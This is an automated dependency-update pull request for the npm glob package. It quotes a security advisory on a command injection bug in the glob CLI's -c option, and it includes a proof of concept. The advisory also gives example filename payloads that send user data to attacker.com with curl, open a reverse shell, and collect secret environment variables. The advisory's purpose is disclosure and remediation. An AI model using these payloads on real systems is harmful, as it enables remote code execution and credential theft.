Update dependency glob to v11.1.0 [SECURITY]

[openverse-bot]

This PR contains the following updates:

Package	Type	Update	Change
glob	devDependencies	minor	11.0.0 -> 11.1.0

GitHub Vulnerability Alerts

CVE-2025-64756

Summary

The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.

Details

Root Cause:
The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:

stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))

Technical Flow:

1. User runs glob -c <command> <pattern>
2. CLI finds files matching the pattern
3. Matched filenames are collected into an array
4. Command is executed with matched filenames as arguments using shell: true
5. Shell interprets metacharacters in filenames as command syntax
6. Malicious filenames execute arbitrary commands

Affected Component:

• CLI Only: The vulnerability affects only the command-line interface
• Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected
• Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)

Attack Surface:

• Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc.
• Any directory where attackers can control filenames (PR branches, archives, user uploads)
• CI/CD pipelines using glob -c on untrusted content

PoC

Setup Malicious File:

mkdir test_directory && cd test_directory

# Create file with command injection payload in filename
touch '$(touch injected_poc)'

Trigger Vulnerability:

# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"

Result:

• The echo command executes normally
• Additionally: The $(touch injected_poc) in the filename is evaluated by the shell
• A new file injected_poc is created, proving command execution
• Any command can be injected this way with full user privileges

Advanced Payload Examples:

Data Exfiltration:

# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'

Reverse Shell:

# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'

Environment Variable Harvesting:

# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'

Impact

Arbitrary Command Execution:

• Commands execute with full privileges of the user running glob CLI
• No privilege escalation required - runs as current user
• Access to environment variables, file system, and network

Real-World Attack Scenarios:

1. CI/CD Pipeline Compromise:

• Malicious PR adds files with crafted names to repository
• CI pipeline uses glob -c to process files (linting, testing, deployment)
• Commands execute in CI environment with build secrets and deployment credentials
• Potential for supply chain compromise through artifact tampering

2. Developer Workstation Attack:

• Developer clones repository or extracts archive containing malicious filenames
• Local build scripts use glob -c for file processing
• Developer machine compromise with access to SSH keys, tokens, local services

3. Automated Processing Systems:

• Services using glob CLI to process uploaded files or external content
• File uploads with malicious names trigger command execution
• Server-side compromise with potential for lateral movement

4. Supply Chain Poisoning:

• Malicious packages or themes include files with crafted names
• Build processes using glob CLI automatically process these files
• Wide distribution of compromise through package ecosystems

Platform-Specific Risks:

• POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing
• Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL
• Mixed Environments: CI systems often use Linux containers regardless of developer platform

Affected Products

• Ecosystem: npm
• Package name: glob
• Component: CLI only (src/bin.mts)
• Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched)
• Introduced: v10.2.0 (first release with CLI containing -c/--cmd option)
• Patched versions: 11.1.0and 10.5.0

Scope Limitation:

• Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe
• CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable

Remediation

• Upgrade to [email protected], [email protected], or higher, as soon as possible.
• If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead.
• As a last resort, use --shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.

---

Release Notes

isaacs/node-glob (glob)

v11.1.0

Compare Source

v11.0.3

Compare Source

v11.0.2

Compare Source

v11.0.1

Compare Source

---

Configuration

📅 Schedule: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled because a matching PR was automerged previously.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR has been generated by Renovate Bot.

[github-actions]

Latest k6 run output¹

     ✓ status was 200

     checks.........................: 100.00% ✓ 398      ✗ 0   
     data_received..................: 95 MB   393 kB/s
     data_sent......................: 52 kB   218 B/s
     http_req_blocked...............: avg=39.67µs  min=2.42µs   med=4.84µs   max=1.99ms   p(90)=148.97µs p(95)=182.59µs
     http_req_connecting............: avg=26.22µs  min=0s       med=0s       max=1.95ms   p(90)=101.46µs p(95)=119.94µs
     http_req_duration..............: avg=157.11ms min=18.56ms  med=117.96ms max=943.11ms p(90)=333.43ms p(95)=399.55ms
       { expected_response:true }...: avg=157.11ms min=18.56ms  med=117.96ms max=943.11ms p(90)=333.43ms p(95)=399.55ms
   ✓ http_req_failed................: 0.00%   ✓ 0        ✗ 398 
     http_req_receiving.............: avg=168.55µs min=68.57µs  med=142.45µs max=835µs    p(90)=251.23µs p(95)=340.69µs
     http_req_sending...............: avg=25.69µs  min=7.96µs   med=22.36µs  max=154.56µs p(90)=39.2µs   p(95)=48.12µs 
     http_req_tls_handshaking.......: avg=0s       min=0s       med=0s       max=0s       p(90)=0s       p(95)=0s      
     http_req_waiting...............: avg=156.91ms min=18.43ms  med=117.79ms max=942.91ms p(90)=333.16ms p(95)=399.35ms
     http_reqs......................: 398     1.653007/s
     iteration_duration.............: avg=840.67ms min=306.64ms med=936.27ms max=1.69s    p(90)=1.12s    p(95)=1.17s   
     iterations.....................: 75      0.311496/s
     vus............................: 2       min=0      max=6 
     vus_max........................: 60      min=60     max=60

Footnotes

1. This comment will automatically update with new output each time k6 runs for this PR ↩